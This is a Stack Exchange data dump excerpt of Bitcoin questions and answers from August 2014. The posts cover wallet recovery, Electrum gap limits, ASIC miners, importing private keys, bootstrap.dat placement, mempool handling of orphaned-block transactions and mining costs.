  <row Id="30040" PostTypeId="1" CreationDate="2014-08-14T09:42:46.610" Score="2" ViewCount="649" Body="&lt;p&gt;&lt;a href=&quot;https://blockchain.info/DecryptWallet.html&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/DecryptWallet.html&lt;/a&gt; has been removed for quite some time. Anyone know why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS. FWIW, an archived copy at &lt;a href=&quot;http://pastebin.com/r2vFpz4e&quot; rel=&quot;nofollow&quot;&gt;Pastebin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="9382" LastEditDate="2014-09-28T11:25:54.737" LastActivityDate="2014-09-28T11:25:54.737" Title="Why was Blockchain.info DecryptWallet removed?" Tags="|blockchain.info|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30041" PostTypeId="2" ParentId="30022" CreationDate="2014-08-14T10:27:12.360" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;The gap limit is the maximum number of consecutive unused addresses in your deterministic sequence of addresses. Electrum uses a gap limit to stop looking for addresses, it is set to 5 by default, so the client get all addresses until 5 unused addresses are found.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://electrum.org/faq.html#gap-limit&quot; rel=&quot;nofollow&quot;&gt;https://electrum.org/faq.html#gap-limit&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you used a different gap limit when creating the addresses, then you need to keep record of it or remember it. Addresses that appeared beyond the gap limit won't be found unless you set the gap limit you used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: Using MPK on a web server you used gap limit 40 to create 40 addresses for your web store. Then you had 39 open orders that are not paid and the address number 40 has a payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you restore with gap limit 5 (default in the client) you'll have 5 unused empty addresses, you won't see the other 34 that are also unused but related to open orders neither you'll see or have balance for the address number 40 that has a payment on it.&lt;/p&gt;&#xA;" OwnerUserId="2467" LastActivityDate="2014-08-14T10:27:12.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30042" PostTypeId="1" AcceptedAnswerId="30044" CreationDate="2014-08-14T12:38:39.613" Score="-1" ViewCount="232" Body="&lt;p&gt;Lets consider minimum bitcoin transaction amount is $10 and is it possible to send an amount which is less than $10? &lt;/p&gt;&#xA;" OwnerUserId="18979" LastActivityDate="2014-08-14T13:05:58.263" Title="To transact an amount less than minimum transaction amount" Tags="|transactions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30044" PostTypeId="2" ParentId="30042" CreationDate="2014-08-14T13:05:58.263" Score="1" Body="&lt;p&gt;Yes, it is possible to send even 1 satoshi&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you will be forced to pay 10000 satoshis as transaction fee. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example &lt;a href=&quot;https://blockchain.info/tx/35189b74ac7e0cd8fb723b450f8d63f9b52b628dc5dd3599eadde8d1bbd2a332&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/35189b74ac7e0cd8fb723b450f8d63f9b52b628dc5dd3599eadde8d1bbd2a332&lt;/a&gt; sends 0.00000001 btc from 1Fri3h6MtMkjZjYHub4r1N6r5nERWgZXHQ to 13MePxVWGvK2qxd3vhef2Wf79zYQiGNwQL with the fee 0.0001 btc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general. Lets assume that I can not send you $0.01 (one cent). I will send you $100.01 and you will return me $100.00 back. So, &quot;minimum&quot; rule is useless&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2014-08-14T13:05:58.263" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30045" PostTypeId="1" CreationDate="2014-08-14T13:12:43.220" Score="-1" ViewCount="1420" Body="&lt;p&gt;If  I don't have my pin, but I have my 12 word passphrase, how do I recover the wallet without pin?&lt;/p&gt;&#xA;" OwnerUserId="18981" LastEditorUserId="5406" LastEditDate="2014-09-03T08:22:43.763" LastActivityDate="2014-09-03T08:22:43.763" Title="Hive Wallet recovery without PIN" Tags="|wallet|passphrase|hive|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30046" PostTypeId="1" AcceptedAnswerId="30047" CreationDate="2014-08-14T14:11:02.113" Score="1" ViewCount="1072" Body="&lt;p&gt;How can I hack &amp;amp; build upon (i.e. add DVD drive, USB reader, etc.) a BitCoin miner like (&lt;a href=&quot;http://arstechnica.com/gadgets/2013/06/how-a-total-n00b-mined-700-in-bitcoins/&quot; rel=&quot;nofollow&quot;&gt;Butterfly Jalapeño&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everyone tries to use their gaming computer as miner but I want to venture &amp;amp; try to get insane performance by using parts of a miner &amp;amp; build a PC from it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or it is impossible?&lt;/p&gt;&#xA;" OwnerUserId="18982" LastEditorUserId="120" LastEditDate="2016-04-10T15:31:15.620" LastActivityDate="2019-02-09T13:54:10.837" Title="Hack/Use a Butterfly bitcoin miner as gaming pc" Tags="|mining-hardware|butterfly-labs|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30047" PostTypeId="2" ParentId="30046" CreationDate="2014-08-14T16:33:02.467" Score="2" Body="&lt;p&gt;This is not possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ASIC mining devices like those sold by Butterfly contain hardware that is capable of computing SHA256 hashes at high speed, but nothing else.  They are not general purpose CPUs and cannot be reprogrammed to run other code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They might contain a simple microprocessor or microcontroller to control the ASICs and interface with the host computer, and in principle you could run other code on that, but it would have to be your own custom code as these chips are presumably not x86, and the performance is probably too low to play anything more complex than Pong.  Moreover, these devices have no graphics hardware and no obvious way to connect it.  It would be like trying to play Call of Duty on your microwave oven.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-08-14T16:33:02.467" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30048" PostTypeId="2" ParentId="30045" CreationDate="2014-08-14T17:07:52.723" Score="1" Body="&lt;p&gt;As you can find from &lt;a href=&quot;https://github.com/hivewallet/hive-js/wiki/Hive-Web-FAQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;the FAQ&lt;/a&gt;, the passphrase is the only part you need to access your wallet. The PIN allows easy access from a machine that you've already logged in from (using your full, secure passphrase). You can force Hive to allow you to reset it by clearing your browser cache/data (assuming you're using the web interface; other clients may or may not have an equivalent function), or entering an incorrect PIN five times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you have now made your passphrase &lt;a href=&quot;https://bitcoin.stackexchange.com/posts/30045/revisions&quot;&gt;public&lt;/a&gt;, &lt;strong&gt;DO NOT CONTINUE TO USE THIS PASSPHRASE&lt;/strong&gt; since people can easily steal any money stored there (well, you can log in with it just to see how that works, but don't transfer money to it). Generate a new one, and NEVER reveal it publicly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since there's no current balance in your account (I logged in to check, and possibly &quot;steal&quot; it for you before someone else did; I saw one transfer in and one out, 0 balance now), there's nothing to worry about at the moment, as long as you're not planning on sending money to that account again.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2014-08-14T17:48:00.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30049" PostTypeId="1" CreationDate="2014-08-14T17:42:40.673" Score="0" ViewCount="324" Body="&lt;p&gt;Let's say the user sends me his private key. What is the appropriate RPC command to spend the Bitcoins of this user using his private key?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I import his private key in the wallet before?&lt;/p&gt;&#xA;" OwnerUserId="18704" LastActivityDate="2014-10-13T22:25:41.780" Title="Sendtoaddress using custom private key" Tags="|private-key|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30050" PostTypeId="2" ParentId="30049" CreationDate="2014-08-14T17:55:30.757" Score="1" Body="&lt;p&gt;If you're using Bitcoin Core, you must first import the private key using the &lt;code&gt;importprivkey&lt;/code&gt; console command.  The coins held by that private key will then be added to your existing balance (if any).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to spend those &lt;em&gt;specific&lt;/em&gt; coins rather than some others in your wallet, you can use the &quot;coin control&quot; feature.  This can be enabled in Settings:Options:Display; when you send coins, you will be offered a list to select which addresses/transactions you want to spend from.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-08-14T17:55:30.757" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30051" PostTypeId="1" AcceptedAnswerId="30075" CreationDate="2014-08-14T19:08:07.990" Score="5" ViewCount="13232" Body="&lt;p&gt;I'm sure this has been asked many times before, but I've recently gotten into the whole cryptocurrency thing starting with Dogecoin, and I now want to use Bitcoin as well. I am on Windows 7. I found out the hard way that downloading the blockchain through bitcoin-qt takes forever, so I went to &lt;a href=&quot;https://bitcoin.org/bin/blockchain/&quot; rel=&quot;noreferrer&quot;&gt;https://bitcoin.org/bin/blockchain/&lt;/a&gt; and downloaded the torrent rather than waiting ages. I now have bootstrap.dat ready, but I don't know where to put it. I have two storage drives - a 120GB SSD and a 1TB hard drive. Because of the SSDs small size and the amount of small writes that bitcoin will do I opted to store the client and blockchain on my HDD. According to &lt;a href=&quot;https://en.bitcoin.it/wiki/Data_directory&quot; rel=&quot;noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Data_directory&lt;/a&gt; I need to place the file at %appdata%\Bitcoin. Since appdata is located on the C drive, there is no bitcoin directory there. The rest of that article is for other operating systems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where should I place the bootstrap.dat file?&lt;/p&gt;&#xA;" OwnerUserId="18986" LastActivityDate="2017-07-28T08:39:54.957" Title="Where to place Bitcoin bootstrap.dat" Tags="|blockchain|bitcoin-core|bootstrap.dat|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30052" PostTypeId="1" AcceptedAnswerId="30054" CreationDate="2014-08-14T19:44:07.400" Score="1" ViewCount="122" Body="&lt;p&gt;I'm really new to Bitcoining. I've made my own wallet at blockchain.info, and then I decided to get some &quot;free&quot; bitcoins by watchings ads or something. This worked. At leas when i login at Microwallet.org with the Adress I have from Blockchain. &#xA;On Microwallet there's displayed my account balance of xxx Bitcoin. But on Blockchain.info (logged in with the same address, of course), my Account balance is 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why?&lt;/p&gt;&#xA;" OwnerUserId="18987" LastEditorUserId="18987" LastEditDate="2014-08-14T21:08:32.443" LastActivityDate="2014-08-15T02:48:03.120" Title="Blockchain.info not actual?" Tags="|blockchain.info|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30054" PostTypeId="2" ParentId="30052" CreationDate="2014-08-15T02:48:03.120" Score="-1" Body="&lt;p&gt;Lorenz,&lt;br&gt;&#xA;Blockchain.info is one of the,  if not the most &quot;actual&quot;  bitcoin wallets you can get.  It's streaming and constantly revised data plotting is also the industry standard,  although it is incomplete. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of the spoofy little faucets you find Will in fact earn you some mbtc,  or micro bitcoin,  however,  just because they have deposited into a wallet of their own creation and their own design,  this does not obligate them in any way to connect with the blockchain.info main chain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is because mostly you get what you pay for,  and you work for what you're paid. So,  watching videos and doing this or that is all well and stupid,  and it also has nothing to do with earning money. . 00000001 is called a satoshi,  after bitcoins pseudonymous creator.  You will be lucky to have as many as just a handful of these doing what you're describing and also successfully redeeming them by TRANSFERING THEM to legitimate wallet service like a blockchain.info.  &lt;/p&gt;&#xA;" OwnerUserId="14016" LastActivityDate="2014-08-15T02:48:03.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30055" PostTypeId="1" AcceptedAnswerId="30056" CreationDate="2014-08-15T04:48:52.693" Score="0" ViewCount="1152" Body="&lt;p&gt;Are there any other SHA-256 coins out there that are worth mining? Also, would I be able to mine scrypt-based coins?&lt;/p&gt;&#xA;" OwnerUserId="3023" LastEditorUserId="5406" LastEditDate="2016-03-06T21:28:28.500" LastActivityDate="2016-03-06T21:28:28.500" Title="Besides mining Bitcoin what is another good use for an Antminer S1?" Tags="|mining-hardware|scrypt|sha256|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30056" PostTypeId="2" ParentId="30055" CreationDate="2014-08-15T05:05:05.267" Score="1" Body="&lt;p&gt;There are many other SHA256 coins. Whether they are &quot;worth mining&quot; will depend on their difficulty, market value, the cost of your electricity, and the value of the time it takes you to  set them up. As all these things are constantly changing, your first question cannot really be answered in a way that will have any lasting usefulness; such questions are discouraged on Stack Exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your second question: this is an ASIC device that is capable of running SHA256 and nothing else. You cannot use it to mine scrypt coins.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-08-15T05:05:05.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30058" PostTypeId="1" AcceptedAnswerId="30061" CreationDate="2014-08-15T07:37:14.290" Score="0" ViewCount="265" Body="&lt;p&gt;I would like to have Bitcoin Core running as a full node. I thought it is like plus 100 GB. But on the web site it says it is no more than 20 GB. When I run Bitcoin-Qt is it enough to run full node or do I add any parameters before I start the program ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pH11w.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15501" LastActivityDate="2014-08-15T07:50:23.357" Title="Full node of bitcoin" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30060" PostTypeId="1" CreationDate="2014-08-15T07:42:33.397" Score="2" ViewCount="161" Body="&lt;p&gt;I have issues running Bitcoin core. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steps&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Install brand new Windows Server 2012 machine. &lt;/li&gt;&#xA;&lt;li&gt;I installed Bitcoin core.  &lt;/li&gt;&#xA;&lt;li&gt;It ran ok for 8 hours. &lt;/li&gt;&#xA;&lt;li&gt;RPC server of bitcoin core goes down.&lt;/li&gt;&#xA;&lt;li&gt;When I do CMD&gt; netstat -an (to see the running ports.)&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I cannot see port 8332 running ( also no response )&lt;/li&gt;&#xA;&lt;li&gt;8333 is running.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Please help,&#xA;Thank you&lt;/p&gt;&#xA;" OwnerUserId="15501" LastActivityDate="2014-08-15T07:42:33.397" Title="Bitcoin Core RPC goes does down" Tags="|bitcoin-core|" AnswerCount="0" CommentCount="4" ClosedDate="2014-11-01T14:58:05.153" ContentLicense="CC BY-SA 3.0" />
  <row Id="30061" PostTypeId="2" ParentId="30058" CreationDate="2014-08-15T07:50:23.357" Score="0" Body="&lt;p&gt;You may run bitcoin-qt the very first time just executing bitcoin-qt.exe (I assume you are windows user) and make changes later&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, there are some useful options. For example, I do not like that this program creates database on my disk [C:] under the \users\user...\folder&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like to keep my bitcoin database in D:\bitcoin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I have created file bitcoin.bat with the following contents:&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;start bitcoin-qt.exe -datadir=d:\bitcoin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;There are other options, but I think that you will find them yourself later. Default options are quite good.&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2014-08-15T07:50:23.357" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30065" PostTypeId="2" ParentId="11025" CreationDate="2014-08-15T15:03:08.823" Score="1" Body="&lt;p&gt;Yes there are lots of ways to do this, the easiest of which is likely using Startum Proxy as described here: &lt;a href=&quot;https://litecointalk.org/index.php?topic=4831.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://litecointalk.org/index.php?topic=4831.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I found something which may be able to help here on SE: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/22476/i-have-8-antminers-is-there-a-way-i-could-change-their-pool-credentials-all-at/22551?noredirect=1#22551&quot;&gt;I have 8 Antminers, is there a way I could change their pool credentials all at the same time like through ssh with a script&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be noted that the Stratum Mining Proxy was developed to port old machinery (early ASICs, mainly) to Stratum by having the proxy create getwork from a stratum request for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would look at some open source pools: &lt;a href=&quot;https://en.bitcoin.it/wiki/Software#Mining_Pool_Servers_.28backend.29&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Software#Mining_Pool_Servers_.28backend.29&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Getwork has a great feature built in called &quot;hostlist&quot;, which was created by slush and is described here: &lt;a href=&quot;https://en.bitcoin.it/wiki/Getwork#hostlist&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Getwork#hostlist&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure how this transitioned into stratum or getblocktemplate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has not been included in most pool software and is not native to bitcoind (it is a miner-side protocol and thus does not NEED to be in bitcoind): &lt;a href=&quot;https://en.bitcoin.it/wiki/Poolservers&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Poolservers&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Until last year hostlist had transitioned into more modern mining software, I would recommend testing this function before getting too far into development ;) Unfortunately I do not have the time right now to test this but hopefully this puts you on the right path of hacking together something which works for you.&lt;/p&gt;&#xA;" OwnerUserId="12835" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2014-08-15T15:03:08.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30066" PostTypeId="1" AcceptedAnswerId="32496" CreationDate="2014-08-15T15:07:05.980" Score="4" ViewCount="828" Body="&lt;p&gt;Scenario:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are running a bitcoind node and listening to the incoming blocks/transactions.  You receive TX 1 which is put into your mempool.  Block A is mined, and includes TX 1, which is subsequently removed from your mempool.  Blocks B and C are mined, orphaning Block A.  Neither Block B, nor C include TX 1, so it is put back into the mempool to be included in a new Block&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How exactly does the node find out that it needs to include TX1 in the mempool again?  Is TX 1 broadcast and received in the same way as when it was first broadcast to the node?  Or in other words, if I'm listening for receiving incoming blocks/transactions, will it be relayed to me a second time or does the client &quot;know&quot; just to put it back in the mempool?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if any of my understanding is incorrect or if you need any more clarification!&lt;/p&gt;&#xA;" OwnerUserId="18990" LastEditorUserId="5406" LastEditDate="2023-10-20T17:20:12.447" LastActivityDate="2023-10-20T17:20:12.447" Title="Transactions within orphaned blocks" Tags="|transactions|bitcoind|chain-reorganization|stale-block|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30067" PostTypeId="1" CreationDate="2014-08-15T15:33:30.230" Score="0" ViewCount="646" Body="&lt;p&gt;I would like to scrap data from Bitcoin and mix of alternative cryptocurrencies which are fundamentally like Bitcoin. The data I am looking for are blocks and transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a pretty awesome (very old and not maintained) project called MultiCoin: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=24209.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=24209.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have noticed cool projects such as DNS Seeding which do things like connect to peer nodes simply to request more peer nodes (without transmitting data), but do not seem to transmit transactions or blocks or any other data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any more modern implementations of this? As the alternate cryptocurrency space grows I would like to get data from a lot of coins without having to consume more resources than strictly necessary.&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2015-03-06T06:51:55.240" Title="Scraping multiple cryptocurrencies" Tags="|altcoin|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30068" PostTypeId="2" ParentId="136" CreationDate="2014-08-15T15:54:10.147" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoinhelp.net/know/more/price-chart-history&quot; rel=&quot;nofollow&quot;&gt;https://bitcoinhelp.net/know/more/price-chart-history&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has a chart containing: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;average daily BTC/USD prices starting from 2009&lt;/li&gt;&#xA;&lt;li&gt;annotated historical events&lt;/li&gt;&#xA;&lt;li&gt;optional logarithmic scale&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="16812" LastActivityDate="2014-08-15T15:54:10.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30069" PostTypeId="1" CreationDate="2014-08-15T17:41:02.363" Score="1" ViewCount="337" Body="&lt;p&gt;Bitcoin is going down right now. It's about 500USD/BTC. I wonder what is mental support price for miners under which they would prefer to buy btc instead of mining it? That would be more or less mining cost. So what is the current actual cost of mining 1BTC?&lt;/p&gt;&#xA;" OwnerUserId="18998" LastEditorUserId="5406" LastEditDate="2016-04-10T10:26:47.497" LastActivityDate="2016-04-10T10:26:47.497" Title="What is the current actual cost of mining 1BTC?" Tags="|exchange-rate|mining-profitability|" AnswerCount="2" CommentCount="1" ClosedDate="2014-08-20T20:26:31.927" ContentLicense="CC BY-SA 3.0" />
  <row Id="30070" PostTypeId="2" ParentId="30069" CreationDate="2014-08-15T17:52:34.210" Score="3" Body="&lt;p&gt;You can use a mining calculator to compare the available hardware's output, then add fixed cost (hardware) and variable cost (the cost of manpower, power, replacements, maintenance, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am assuming you mean ASIC mining cost, as GPU mining has not been profitable for bitcoin for quite some time. I found a site which keeps track of ASIC deployment and also provides a mining calculator: &lt;a href=&quot;http://minr.info/&quot; rel=&quot;nofollow&quot;&gt;http://minr.info/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally miners do a lot of work to find places with cheap power, you can find kWh rates here: &lt;a href=&quot;http://en.wikipedia.org/wiki/Electricity_pricing#Price_comparison&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Electricity_pricing#Price_comparison&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even though this may seem unrelated, miners can also use GPU or Scrypt ASICs to generate alternate coins (and then convert them to bitcoin), which may be cheaper than generating/buying bitcoins. You can find a lot of information about various algorithms and a mining calculator for many alternative algorithms here: &lt;a href=&quot;http://www.coinwarz.com/cryptocurrency&quot; rel=&quot;nofollow&quot;&gt;http://www.coinwarz.com/cryptocurrency&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beyond all of this, it is worth noting that bitcoins can be generated by any computer capable of doing such calculations, and that there are at least some people who do not pay for the power that they consume, and sometimes not even the hardware (such as college students and hackers, respectively). Therefore the price of mining a bitcoin can be next to nothing or actually nothing for some people who do not play fairly, and who will mine full-force at virtually any price.&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-08-15T17:52:34.210" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30071" PostTypeId="2" ParentId="30066" CreationDate="2014-08-15T18:07:10.593" Score="0" Body="&lt;p&gt;The sender and the receiver carry the burden of rebroadcasting the transaction: &lt;a href=&quot;https://en.bitcoin.it/wiki/Network#Standard_relaying&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Network#Standard_relaying&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually, if a transaction is included in an orphan, it also was included in the sibling block of that orphan. This is because most miners have the same transaction selection policies and would also want to collect on the transaction fee(s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there are any issues, you can also MANUALLY rebroadcast via JSON-RPC or bitcoind or Bitcoin-qt debug console: &lt;a href=&quot;https://en.bitcoin.it/wiki/Raw_Transactions#Re-broadcast_a_transaction&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Raw_Transactions#Re-broadcast_a_transaction&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-08-15T18:07:10.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30072" PostTypeId="2" ParentId="30051" CreationDate="2014-08-15T18:13:26.243" Score="0" Body="&lt;p&gt;You can simply create a folder in %appdata% called 'Bitcoin' and place the bootstrap.dat file right in there, or start Bitcoin, close it, and the folder will be there :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have copied bootstrap.dat you can open Bitcoin (again). After completing, Bitcoin will rename bootstrap.dat to bootstrap.dat.old at which point it can be deleted.&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-08-15T18:13:26.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30073" PostTypeId="2" ParentId="30040" CreationDate="2014-08-15T18:40:34.560" Score="1" Body="&lt;p&gt;Have a look at &lt;a href=&quot;https://bitcointalk.org/index.php?topic=594570.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=594570.0&lt;/a&gt; for ways to export your blockchain.info wallet to another client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the why, at this point I would say it has to be bad organization or possibly lack of funding. Blockchain.info has been fundamentally broken for quite some time (a quick search yields a post on bitcointalk over a year old for a still unresolved, somewhat minor problem: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=271633.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=271633.0&lt;/a&gt; and if you do a bit of digging you can find plenty more)&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-08-15T18:40:34.560" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30074" PostTypeId="2" ParentId="30017" CreationDate="2014-08-15T19:21:20.113" Score="2" Body="&lt;p&gt;Bitcoin is generally accepted in France however the government seems to be very willing to prosecute anybody who is in breach of reporting or other laws. Somewhat recent proof: &lt;a href=&quot;http://www.reuters.com/article/2014/07/07/us-france-bitcoin-idUSKBN0FC19220140707&quot; rel=&quot;nofollow&quot;&gt;http://www.reuters.com/article/2014/07/07/us-france-bitcoin-idUSKBN0FC19220140707&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is not much legislation on Bitcoin, however it is clear that you can not use new technology to break old laws.  Accepting bitcoin as a form of payment for legal products/services is generally agreed to be the same as if you accepted USD or any other currency (for reporting requirements). You can pretty safely assume that accepting bitcoin in lieu of Euros is safe so long as Bitcoin is not illegal in your jurisdiction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the legality of operating a casino/gambling site, there are much more considerations to be had. Of course operating such a casino/gambling site would have to be legal in your jurisdiction, also you should speak with a finance lawyer to determine if you need to register as a Money Transmitter or Money Services Business (since you may be taking money from one to give to another, as opposed to a store which simply takes money and might give a refund to the same client but never transfers money ON BEHALF of said client). You also need to consider which countries/regions you can serve and which you can not. For example, online gambling very illegal in the US, and simply having a US customer can be a breach of American law with hefty penalties. Most sites block US IPs for this reason.&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-08-15T19:21:20.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30075" PostTypeId="2" ParentId="30051" CreationDate="2014-08-15T19:29:00.520" Score="2" Body="&lt;p&gt;From what you said, I'm assuming you're using an option like this when you run Bitcoin Core (bitcoin-qt):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-datadir=D:\BitCoinData&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(if not, you should do something like that to specify that the blockchain will be on your 1TB HDD; otherwise, it's only the small client, and not the large and oft-updated blockchain, that resides on your HDD)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this example, you would move bootstrap.dat to &lt;code&gt;D:\BitCoinData\bootstrap.dat&lt;/code&gt;. Move the file there while Bitcoin Core is turned off. Next time you start Bitcoin Core, it will verify and use this file to build its databases before synchronizing the remainder over the network.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2014-08-15T19:29:00.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
